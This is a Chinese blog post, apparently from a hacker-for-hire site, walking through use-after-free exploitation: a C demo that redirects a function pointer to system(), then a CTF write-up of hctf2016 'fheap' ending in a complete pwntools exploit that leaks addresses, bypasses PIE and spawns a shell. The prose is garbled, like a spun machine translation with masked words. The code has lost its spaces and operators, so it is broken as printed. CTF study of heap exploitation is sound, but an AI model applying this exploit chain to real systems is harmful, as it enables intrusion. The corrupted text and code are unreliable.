首页 黑客接单正文

逆向安全系列:Use After Free漏洞浅析

一、前言

想着下一步写一个use after free小总结,碰巧最近2016年湖湘杯一题----game利用use after free可以解决。这个问题是你自己的。***在比较正式的比赛中pwn问题,做这个问题花了很多时间,效率不高,但我还是很开心,然后回去做hctf2016的fheap这个问题,也可以用uaf解出来,game这个话题的复杂度略高,描述起来有点难。以下主要用途hctf这个问题告诉你原则。uaf搜了一下漏洞,uaf浏览器里有很多漏洞,感兴趣的同学可以自己查。

二、uaf原理

uaf漏洞的主要原因是在释放堆块后,该指针没有被放置NULL,这导致该指针处于悬挂状态,如果同样释放的内存被恶意构建,则可以使用。在具体解释之前,给你一个直观的印象。

  • #include<stdio.h>
  • #include<stdlib.h>
  • typedefvoid(*func_ptr)(char*);
  • voidevil_fuc(charcommand[])
  • {
  • system(command);
  • }
  • voidecho(charcontent[])
  • {
  • printf("%s",content);
  • }
  • intmain()
  • {
  • func_ptr*p1=(int*)malloc(4*sizeof(int));
  • printf("mallocaddr:%p\n",p1);
  • p1[3]=echo;
  • p1[3]("helloworld\n");
  • free(p1);//在这里free了p1,但并未将p1空置导致后续可重复使用p1指针
  • p1[3]("helloagain\n");//p1虽然指针没有被置空free但还是可以用的.
  • func_ptr*p2=(int*)malloc(4*sizeof(int));//malloc在free内存完成后,再次申请相同大小的指针将分配刚刚释放的内存.
  • printf("mallocaddr:%p\n",p2);
  • printf("mallocaddr:%p\n",p1);//p2与p1指针指向同一地址的内存
  • p2[3]=evil_fuc;//将在这里p1保存在指针中echo函数指针覆盖已成为evil_func指针.
  • p1[3]("whoami");
  • return0;
  • }
  • 该代码在32位系统下执行。通过这个代码,可能会uaf利用过程总结如下:

    1、申请一个空间并释放它。释放后,指针不会空,所以这个指针仍然可以使用。p1。

    2、申请空间p2,由于malloc分配过程p2指向的空间是刚刚释放的p1指针的空间,构造恶意的数据将这段内存空间布局好,即覆盖了p1中的数据。

    3、利用p1,通常有一个函数指针,因为它以前被使用过p2将p1中间的数据被覆盖,所以此时的数据是我们可以控制的,也就是说,可能存在劫持函数流。

    三、hctf2016--fheap

    uaf原理相对简单。以下是具体的实践。如果这个漏洞比较复杂,那就和了double free这些其他堆的常用 *** 一起出题,具体可以看bctf2015的freenote。不过fheap这题用uaf直接就解决了。还有就是湖湘杯2016的game题,和fheap基本上是一样的。如果你跟出这个问题,你可以做到game试试。先介绍一下fheap的功能。

    A、程序功能

    http://p9.qhimg.com/t01b46cefd558d1d0a1.png

    程序提供的功能相对简单,共两个功能:

    1、create string

    http://p9.qhimg.com/t013b79188c80312bfa.png

    输入create 之后,然后输入size,然后输入特定的字符串。相关数据结构为:先申请0x20如果输入的字符串长度大于字节的堆块存储结构0xf,另外,申请相应长度的空间存储字符串,否则直接存储在以前申请的字符串中0x20在字节的前16个字节***,会将相关free函数的地址存储在堆储结构的后八字节中。相关示意图描述如下:

    2、delete string

    调用存储在结构体中的调用free_func这个指针来释放堆,由于在释放以后没有将指针置空,出现了释放后仍可利用的现象,即uaf。

    B、检查防护机制

    首先,检查打开的安全机制

    可见开启PIE,还需要绕过解决问题的过程PIE,PIE这意味着代码段的地址也会随机化,但低两位字节是固定的,我们可以利用这一点来泄露程序的地址。

    C、利用思路

    一般思路:一是利用uaf,利用堆块之间的应用和释放步骤,形成对free_func指针覆盖。从而达到劫持程序流的目的。具体来说,三个字符创小于三个字符。0xf并释放堆块。fastbin空心堆块的单链表结构如下左图所示,然后申请字符串长度0x20此时,应用堆中的数据将如下右图所示。此时,后续应用的堆块与以前应用的1号堆块有相同的内存空间。此时,输入的数据可以覆盖1号堆块free_func指针指向我们需要执行的函数,然后调用1号堆块free_func函数,即劫持函数流的目的。

    1、绕过PIE,劫持函数流后,首先是泄露程序地址以绕过PIE,具体 *** 是将free_func指针的***位覆盖成"\x2d",变成去执行fputs函数,***变成去印出free_func程序的基地址等。

    http://p0.qhimg.com/t0103397379eb072246.png

    2、泄露system函数地址,首先是程序地址,可以得到printf函数的plt地址,从而找到在栈中部署数据的 *** ,用格式化字符串打印我们需要的地址内容,使用DynELF模块泄露地址,详见安全客之前写的文章---借助DynELF实现无libc总结漏洞。从而泄漏system函数地址。

    3、执行system("/bin/sh")

    最终调用system函数开启shell。

    D、最终exp

    exp最后,还有一些注释。

  • frompwnimport*
  • fromctypesimport*
  • DEBUG=1
  • ifDEBUG:
  • p=process('./fheap')
  • else:
  • r=remote('172.16.4.93',13025)
  • print_plt=0
  • defcreate(size,content):
  • p.recvuntil("quit")
  • p.send("create")
  • p.recvuntil("size:")
  • p.send(str(size) '\n')
  • p.recvuntil('str:')
  • p.send(content.ljust(size,'\x00'))
  • p.recvuntil('\n')[:-1]
  • defdelete(idx):
  • p.recvuntil("quit")
  • p.send("delete" '\n')
  • p.recvuntil('id:')
  • p.send(str(idx) '\n')
  • p.recvuntil('sure?:')
  • p.send('yes' '\n')
  • defleak(addr):
  • delete(0)
  • #printf函数格式化字符串打印第九个参数地址中的数据,第九个只是输入addr的位置
  • data='aa%9$s'    '#'*(0x18-len('aa%9$s')) p64(print_plt)
  • create(0x20,data)
  • p.recvuntil("quit")
  • p.send("delete")
  • p.recvuntil('id:')
  • p.send(str(1) '\n')
  • p.recvuntil('sure?:')
  • p.send('yes01234' p64(addr))
  • p.recvuntil('aa')
  • data=p.recvuntil('####')[:-4]
  • data ="\x00"
  • returndata
  • defpwn():
  • globalprint_plt
  • create(4,'aa')
  • create(4,'bb')
  • create(4,'cc')
  • delete(2)
  • delete(1)
  • delete(0)
  • #申请三个堆块,然后删除它们fastbin链表中形成三个空堆块
  • #part1覆盖到fputs函数,绕过PIE
  • data='a'*0x10 'b'*0x8 '\x2D' '\x00'#***次覆盖,泄露函数地址。
  • create(0x20,data)#连续创建两个堆块,使输入data与前块1公用一块内存。
  • delete(1)#劫持函数程序流在这里
  • p.recvuntil('b'*0x8)
  • data=p.recvuntil('1.')[:-2]
  • iflen(data)>8:
  • datadata=data[:8]
  • data=u64(data.ljust(8,'\x00'))-0xA000000000000#这里可能不需要减能不需要调整
  • proc_base=data-0xd2d
  • print"procbase",hex(proc_base)
  • print_plt=proc_base    0x9d0
  • print"printplt",hex(print_plt)
  • delete(0)
  • data='a'*0x10 'b'*0x8 '\x2D' '\x00'
  • create(0x20,data)
  • delete(1)
  • p.recvuntil('b'*0x8)
  • data=p.recvuntil('1.')[:-2]
  • #part2使用DynELF泄露system函数地址
  • d=DynELF(leak,proc_base,elf=ELF('./fheap'))
  • system_addr=d.lookup('system','libc')
  • print"system_addr:",hex(system_addr)
  • 
  • #parts执行system函数,开启shell
  • delete(0)
  • data='/bin/sh;'    '#'*(0x18-len('/bin/sh;')) p64(system_addr)
  • create(0x20,data)
  • delete(1)
  • p.interactive()
  • 
  • ####
  • #用法总结为
  • #delete(0)添加应用堆fastbin中
  • #create(0x20,data),连续申请两个堆块,数据覆盖1堆free_func指针
  • #delete(1)劫持函数流,调用我们覆盖的指针处的地址
  • ###
  • 
  • if__name__=='__main__':
  • pwn()
  • 执行结果

    四、小结

    我感觉UAF最重要的是,该指针在释放堆块后没有清空指针。在内存空间数据覆盖到其他数据后,指针仍然可以正常使用内存,导致数据误用。ctf问题中很容易遇到的是,释放的堆块最初用于存储函数指针,后来被恶意构建的数据覆盖到其他地址,以实现劫持函数流的目的,因此可能会pwn掉了。

       
    版权声明

    本文仅代表作者观点,不代表本站立场。
    本文系作者授权发表,未经许可,不得转载。